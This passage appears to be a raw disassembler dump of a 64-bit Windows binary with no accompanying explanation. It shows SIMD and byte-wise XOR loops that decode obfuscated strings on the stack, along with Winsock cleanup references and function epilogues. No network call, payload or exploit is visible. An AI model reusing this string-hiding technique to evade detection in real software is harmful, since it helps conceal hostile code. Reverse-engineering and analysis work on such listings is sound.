paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x140011860
cmp esi, 0x26
jge 0x1400119af
movsxd rax, esi
lea r8, [rbp + 0x1f0]
add r8, rax
nop word [rax + rax]
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x26
jl 0x140011980
lea rcx, [rbp + 0x1f0]
call fcn.14000ac20
mov eax, dword [str.I_NOX_]
mov dword [rsp + 0x40], eax
movzx eax, word [0x1400a41d4]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x40], WSACleanup
xor byte [rsp + 0x41], 0x3a
xor byte [rsp + 0x42], 0x3b
xor byte [rsp + 0x43], 0x3c
xor byte [rsp + 0x44], 0x3d
xor byte [rsp + 0x45], 0x3e
lea rcx, [rsp + 0x40]
call fcn.140030ab8
xor bl, bl
lea rcx, [rbp + 0x300]
call fcn.14000e9e0
jmp 0x140011d2a
movups xmm0, xmmword [0x1400a4440]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [0x1400a4450]
movups xmmword [rbp + 0x200], xmm1
mov eax, dword [0x1400a4460]
mov dword [rbp + 0x210], eax
movzx eax, word [0x1400a4464]
mov word [rbp + 0x214], ax
cmp ebx, 2
jl 0x140011b9a
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c30]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5520]
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp + 0x150], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rbp + 0x150]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x140011a90
cmp esi, 0x26
jge 0x140011bdf
movsxd rax, esi
lea r8, [rbp + 0x1f0]
add r8, rax
nop word [rax + rax]
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x26
jl 0x140011bb0
lea rcx, [rbp + 0x1f0]
call fcn.14000ac20
mov eax, dword [str.I_NOX_]
mov dword [rsp + 0x40], eax
movzx eax, word [0x1400a41d4]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x40], WSACleanup
xor byte [rsp + 0x41], 0x3a
xor byte [rsp + 0x42], 0x3b
xor byte [rsp + 0x43], 0x3c
xor byte [rsp + 0x44], 0x3d
xor byte [rsp + 0x45], 0x3e
lea rcx, [rsp + 0x40]
jmp 0x140011d23
mov eax, dword [str.ZVH_iostream_stream_error]
mov dword [rsp + 0x40], eax
cmp byte [0x1400a436f], 0
je 0x140011d1e
cmp dword [reloc.d2d1.dll_Ordinal_1], 2
jl 0x140011ce3
movdqa xmm3, xmmword [0x1400a54f0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a5c30]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a5c30]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
mov r12d, 5
movd xmm0, r12d
psrad xmm2, xmm0
mov edi, 0x1f
movd xmm0, edi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400a5520]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x40], xmm2
jmp 0x140011d1e
lea r8, [rsp + 0x40]
nop dword [rax + rax]
mov eax, 0x24924925
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 4
jl 0x140011cf0
lea rcx, [rsp + 0x40]
call fcn.140030ab8
xor bl, bl
lea rcx, [rbp + 0x330]
call fcn.14000e210
nop
lea rcx, [rbp + 0x1d0]
call fcn.14000bcf0
nop
lea rcx, [rbp + 0x260]
call fcn.140008cd0
nop
lea rcx, [rbp + 0x280]
call fcn.140008cd0
movzx eax, bl
mov rcx, qword [rbp + 0x4d0]
xor rcx, rsp
call fcn.140062540
lea r11, [rsp + 0x610]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
int3
call fcn.14002de94
int3
call fcn.140001a30
int3
call fcn.14002de94
nop
call fcn.14002de94
nop
lea r8, [rbp + 0x2c0]
mov edx, eax
lea rcx, str.absolute
call fcn.14000c4e0
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
int3
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
call fcn.14002de94
nop
lea r8, [rbp + 0x80]
mov edx, eax
lea rcx, str.absolute
call fcn.14000c4e0
int3